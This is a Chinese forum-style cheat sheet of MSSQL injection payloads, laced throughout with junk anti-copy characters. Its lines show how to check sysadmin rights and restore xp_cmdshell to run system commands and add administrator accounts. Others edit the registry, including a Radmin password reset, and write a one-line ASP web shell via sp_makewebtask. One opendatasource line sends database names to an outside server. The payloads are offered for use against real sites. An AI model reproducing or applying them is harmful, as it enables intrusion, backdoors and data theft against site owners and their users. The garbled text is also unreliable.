阿D常用的一些注入命令
+ ?: o2 ]" u. K+ A7 k//看看是什么权限的7 \/ ?, j! R4 h$ R7 M
and 1=(Select IS_MEMBER('db_owner'))
& P! M: O/ R/ ^. D$ gAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--# y) L5 v: H/ h- V* x m
/ _( p' r f) I/ Y2 b) n: A' A
//检测是否有读取某数据库的权限
% `( R3 u( q# ]and 1= (Select HAS_DBACCESS('master'))
1 N$ ~% _6 g! _' [And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
* w* y9 q* f# u1 Z) ^
) {/ I2 m& b; W" A- ^3 M: q
?! [. U- K/ e; L$ x; e/ _8 E: _数字类型4 ]6 w$ a0 O' |- K, L
and char(124)%2Buser%2Bchar(124)=0 O& f1 o! S& P, T! j
2 e: Y8 k, g' S/ b
字符类型
; i/ w! m R6 r1 s) `' and char(124)%2Buser%2Bchar(124)=0 and ''='* ?& m$ ?) c1 G6 Y
1 ?( }8 ^2 D/ f
搜索类型
# }( x1 m' S' O: f& Y; n! D6 ?' and char(124)%2Buser%2Bchar(124)=0 and '%'='
( \# n* U# k8 u! }! M4 `0 ^+ H2 {
" P G |# ~7 J& `. l, ~爆用户名
2 D4 C' Q) J" h$ E2 B- Uand user>0) Y0 x# G7 g* D. D0 F5 ~
' and user>0 and ''='5 r" w/ i$ Y+ @- q! }5 _6 H
1 h$ l# t; _5 z* s% D+ C+ O2 _# V
检测是否为SA权限8 e' P' U5 ]& e' |, a. n+ Q6 f8 T
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--) ~6 L& x# d" r
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --4 S4 x! z6 s3 t- G! l. b
3 c; B: }" B3 u& ~6 u
检测是不是MSSQL数据库
7 |* ]7 F% U* l6 W! {( [* o* h2 J- oand exists (select * from sysobjects);-- 5 y8 Y" u3 h% j* G8 V, D7 D. r* }! N, ]
' H5 r' R; N9 L) m$ d
检测是否支持多行
1 X# i+ J2 y3 v9 \9 }8 U" c;declare @d int;-- 4 r/ W) A: A! A0 |, e
9 [6 g7 C6 n5 T3 F6 s恢复 xp_cmdshell% a7 N ~+ H$ g& b; F4 c
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--2 w4 A& i5 a2 u# X2 i" _
- g; b: T0 m* Z% F' o
% U" T! _! P: d- P- q3 I0 iselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
- ~( ?0 ~; E5 C
) O4 |) R1 m" g: M//-----------------------' Q L! v S2 A, N% k
// 执行命令
( m+ ]1 r- P8 o+ K0 ^//-----------------------
$ ?) S5 Z1 o1 t: h首先开启沙盘模式:
8 F1 x8 y% M4 m* e0 \, {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
. A! A0 v# H8 ~+ Q0 K$ X5 R" Y* H" l( l# @2 ^% A ?
然后利用jet.oledb执行系统命令( l! W' [1 M, X" R1 _
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): B( k) L( u+ i* w
* K. n' w- @4 J% p3 u# Z! ?
执行命令/ D6 c/ L( G2 {* u! X
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--0 F2 x4 g, O# P. M$ c. J$ `
/ S2 [0 J$ v* W3 v Z# }EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
8 x8 s. s7 S, ]( n8 [8 H
- l8 u% f, i0 c" x# w* @判断xp_cmdshell扩展存储过程是否存在:
5 |2 C7 q& ^2 f+ x! Shttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
6 }5 \1 d* X" W( }
& p2 V+ J' F9 M Z2 t9 q) A( p9 b9 x写注册表! V; @( z, _- i+ Z: k3 h; x$ w/ Y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: i; g; { E2 Y: T8 ?2 _* r6 m: e
8 z0 k+ [4 |% J+ Q5 C$ CREG_SZ
$ u7 T, c( |6 {" A+ W. W" g( e( y8 h
+ r3 O: @( `4 i$ u& m1 ]6 N" \读注册表" X) m2 b: m$ r) j
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'9 X$ W* W$ i: O7 X& S8 g
, M. i: g1 u5 E/ ?0 h/ F
读取目录内容& F+ p- j& c2 f/ ]% j
exec master..xp_dirtree 'c:\winnt\system32\',1,1: k) m# i/ v6 X, z$ v- y
* N; } s+ K! M2 z/ S5 E: }
/ h* w( g ? C7 r- c数据库备份, P( |( m; f3 v: V1 V6 N# W
backup database pubs to disk = 'c:\123.bak'
7 c0 u, f( V$ j S) Q! J: D/ q# t% B0 X0 \
//爆出长度: q: T5 @3 p2 E0 Q- m v' D
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--. H4 J/ I6 t9 Z' S6 k9 w! ]& i
9 _ _+ W* q; Q% }
0 a8 ~. Z j* S1 `9 p( [
5 A, }' C/ F# z% a3 U更改sa口令方法:用sql综合利用工具连接后,执行命令:& r; L! F- C( X. u
exec sp_password NULL,'新密码','sa'( |+ K* D" j! f2 B) }7 u2 J" q
- ?1 h+ T5 z7 c5 x- V; P% c
添加和删除一个SA权限的用户test:
4 [# w3 a& x+ Vexec master.dbo.sp_addlogin test,ptlove
r* |7 l1 o4 l0 K( M, t7 Qexec master.dbo.sp_addsrvrolemember test,sysadmin
7 V n. {9 C: D- `7 C2 _/ T& {. V
' d- P( y( {7 Z3 T Y, |删除扩展存储过过程xp_cmdshell的语句: ; r3 v. L4 q! m3 ]" R
exec sp_dropextendedproc 'xp_cmdshell'5 m& z2 H7 q4 m( W2 B, I; _
9 {- ?* a4 u8 `# Y& o/ A" t添加扩展存储过过程) _4 Y# ~5 ?+ w# F4 E1 ?
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ' A" V" @+ ?4 b
GRANT exec On xp_proxiedadata TO public
' H$ b- x) V$ ~7 q G, D! y5 }3 p5 s: V. e* G4 P
8 c! S8 F, @- e! Q4 p) J( y" W
停掉或激活某个服务。 ( ^) l; D- d0 H6 W- u$ ~' v
7 w0 z" x l! ` W- \ texec master..xp_servicecontrol 'stop','schedule'
& p5 h: q. \( c' n- ]. Q# w& o0 d( gexec master..xp_servicecontrol 'start','schedule'
* m) i0 d$ H, q* |
! ~5 Z1 r' R$ I' ~- t1 m6 n# x, bdbo.xp_subdirs% N, t4 z& X& n( n
/ s b7 \9 x8 Z3 G. n只列某个目录下的子目录。
% x9 `6 l/ C7 B) I4 Yxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'$ J/ o! G+ E5 q! a$ }, g! Z z
8 ^, q( y L( R; Z; A3 |dbo.xp_makecab7 \6 i4 Z- C0 L7 p
6 s9 y1 q( |3 D! d; r8 v
将目标多个档案压缩到某个目标档案之内。
3 x9 e( V. D$ p6 S! h E- N所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
5 @, S+ T; ?3 V" J/ O- @$ v3 U3 e0 d# Z! E
dbo.xp_makecab
8 c( u0 Z K2 v2 h* t9 x G/ F'c:\test.cab','mszip',1," w$ ]+ H/ t o9 ?/ k/ Z+ ]( }
'C:\Inetpub\wwwroot\SQLInject\login.asp',8 ~9 }1 A a1 V: y$ y
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'0 L( i( m- X# f! X# c
3 R% n; \/ W$ T4 P( m" u! \& N
xp_terminate_process
. h" P7 i7 ]2 a- s4 V; a! `$ v4 O" H
停掉某个执行中的程序,但赋予的参数是 Process ID。
) J5 }! }9 I9 K7 p1 J2 M利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
8 w% y* | C" _8 O9 }$ r
$ f# O7 x O/ [, Y. vxp_terminate_process 2484- F# R7 |3 _% E1 B! N! |4 x N
& \0 L$ O2 n1 H Mxp_unpackcab
$ S9 s1 Z! [3 J, s! _$ M/ i; j# V1 b
解开压缩档。
' W/ ^# f4 F2 P* C; N- m$ j! @0 G& h2 Z o* C
xp_unpackcab 'c:\test.cab','c:\temp',1# c/ G3 q6 U9 y: [
7 u9 n+ q. f1 H
+ y& l/ p" y7 J" e# ^+ o% T2 T
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12343 P0 b( ?) _3 M8 U0 N& h, ^
' R0 Q/ M" j. K% G
create database lcx;
5 K) Q) G- i$ e- C7 z- W% e: y2 cCreate TABLE ku(name nvarchar(256) null);
6 ~9 u2 Y* [) I9 I4 G1 LCreate TABLE biao(id int NULL,name nvarchar(256) null);
8 M6 m8 p6 B+ `: F5 o1 W3 k3 ?( a7 a" e8 h( i8 H
//得到数据库名
" G- |4 p E/ Sinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases7 _7 T8 O# y7 c+ ?. L: B# |8 H
+ G3 l6 h! R% f6 }
( ^, k8 j$ F: m5 M; Y//在Master中创建表,看看权限怎样! N- I% \6 S% j+ c+ M7 l0 {/ v
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--/ ^* n, e. p! p1 Q
& C" _, C: B. b l; E
用 sp_makewebtask直接在web目录里写入一句话马:
# ]9 t' U X8 ~% Q/ ?- D% k0 Xhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--- F6 H8 t1 y6 \, C6 v( ^3 [
! F% N+ G. W* K7 {//更新表内容) W, U/ v+ c: J+ B0 w, K
Update films SET kind = 'Dramatic' Where id = 123
8 Y8 v1 e. d, Q# l& `* M! p( a) I: P: c; X
//删除内容- |5 r) n. @3 `% q8 e$ V4 V! ?
delete from table_name where Stockid = 3 |